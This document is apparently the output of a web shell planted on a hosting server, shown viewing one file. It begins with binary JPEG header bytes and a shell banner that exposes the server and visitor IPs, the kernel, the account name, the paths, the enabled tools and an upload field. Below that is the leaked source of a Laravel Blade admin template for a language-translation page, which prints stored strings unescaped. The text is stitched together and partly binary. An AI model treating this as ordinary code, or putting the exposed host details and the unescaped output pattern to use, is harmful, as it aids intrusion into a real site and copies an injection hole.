����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.117.93.231 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/bofirmacademy.com/resources/views/admin/language/ |
Upload File : |
@extends('layouts.admin') @section('content') <!-- Page content area start --> <div class="page-content"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div class="breadcrumb__content"> <div class="breadcrumb__content__left"> <div class="breadcrumb__title"> <h2>{{__('Translate language')}}</h2> </div> </div> <div class="breadcrumb__content__right"> <nav aria-label="breadcrumb"> <ul class="breadcrumb"> <li class="breadcrumb-item"><a href="{{route('admin.dashboard')}}">{{__('Dashboard')}}</a></li> <li class="breadcrumb-item"><a href="{{route('language.index')}}">{{__('Language Settings')}}</a></li> <li class="breadcrumb-item active" aria-current="page">{{__('Translate Language')}}</li> </ul> </nav> </div> </div> </div> </div> <div class="row admin-dashboard-translate-your-language-page"> <div class="col-md-12"> <div class="customers__area bg-style mb-30"> <button class="btn btn-success btn-sm mb-2" type="button" data-bs-toggle="modal" data-bs-target="#add-todo-modal"> <i class="fa fa-plus"></i> {{ __('Import Keywords') }} </button> <form action="{{route('update.translate', [$language->id])}}" method="post" enctype="multipart/form-data" data-parsley-validate> <div class="item-title d-flex justify-content-between"> <h2> Translate Your Language (English => {{$language->language}} ) </h2> <div> <button class="btn btn-primary addmore"> <i class="fa fa-plus"></i> {{ __('Add More') }}</button> {{-- <button type="submit" class="btn btn-primary">{{ __('Update Language') }}</button>--}} </div> </div> <div class="card-body"> @csrf <div class="row"> <table class="row-border data-table-filter table-style"> <thead> <tr> <th>{{ __('Key') }}</th> <th>{{ __('Value') }}</th> <th class="text-end">{{ __('Action') }}</th> </tr> </thead> <tbody id="append"> @foreach($translators as $key => $value) <tr> <td> <textarea type="text" name="key" class="key form-control" readonly>{!! $key !!}</textarea> </td> <td> <input type="hidden" value="0" class="is_new"> <textarea type="text" name="value" class="val form-control">{!! $value !!}</textarea> </td> <td class="text-end col-1"> <button type="button" disabled class="language-update btn btn-sm btn-blue">{{__('Update')}}</button> </td> </tr> @endforeach </tbody> </table> </div> <div class="col-md-12 mt-3"> <div class="row justify-content-end"> <div class="col-md-6"> <div class="form-group float-end"> {{-- <button type="submit" class="btn btn-blue">{{__('Update')}}</button>--}} </div> </div> </div> </div> </div> </form> </div> </div> </div> </div> </div> <!-- Page content area end --> <!-- Add Modal section start --> <div class="modal fade" id="add-todo-modal" aria-hidden="true" tabindex="-1"> <div class="modal-dialog modal-dialog-centered modal-md"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">{{ __('Import Language') }}</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <form action="{{ route('language.import') }}" method="post"> @csrf <input type="hidden" name="current" value="{{ $language->iso_code }}"> <div class="modal-body"> <div class="mb-30"> <span class="text-danger text-center">{{ __('Note: If you import keywords, your current keywords will be deleted and replaced by the imported keywords.') }}</span> </div> <div class="input__group mb-30"> <label for="status" class="text-lg-right text-black"> {{__('Language')}} </label> <select name="import" class="custom-select export" id="inputGroupSelect02"> <option selected> {{ __('Select Option') }} </option> @foreach ($languages as $la) <option value="{{ $la->iso_code }}">{{ __($la->language) }}</option> @endforeach </select> </div> <div> <button type="submit" class="btn btn-purple">{{ __('Import') }}</button> </div> </div> </form> </div> </div> </div> <!-- Add Modal section end --> @endsection @push('script') <script> $(function() { let i = {{ $translators != null ? count($translators) : 0 }}; $('.addmore').on('click', function (e) { e.preventDefault() let html = ` <tr> <td> <textarea type="text" name="key" class="key form-control"></textarea> </td> <td> <textarea type="text" name="value" class="val form-control"></textarea> <input type="hidden" value="1" class="is_new"> </td> <td class="text-end col-1"> <button type="button" class="language-update btn btn-sm btn-blue">{{__('Update')}}</button> </td> </tr> `; $('#append').prepend(html); }) $(document).on('input','.val',function (){ $(this).closest('tr').find('button').attr('disabled',false); }) $(document).on('click','.language-update',function (){ var keyStr = $(this).closest('tr').find('.key').val(); var valStr = $(this).closest('tr').find('.val').val(); var id = $(this).closest('tr').find('.val').val(); var is_new = $(this).closest('tr').find('.is_new').val(); var dom = $(this); $.ajax({ type: "POST", url: "{{route('update-language',[$language->id])}}", data: {'key': keyStr, 'val' : valStr,'is_new' : is_new,'_token':'{{@csrf_token()}}'}, datatype: "json", success: function (response) { toastr.options.positionClass = 'toast-bottom-right'; if(response['status'] == 200){ toastr.success(response['msg']) dom.closest('tr').find('.is_new').val(0); dom.closest('tr').find('.key').attr('readonly',true); dom.attr('disabled','disabled'); }else{ toastr.error(response['msg']) } if(response['type'] == 1){ dom.closest('tr').remove(); } }, error: function (error) { }, }); }) }); </script> @endpush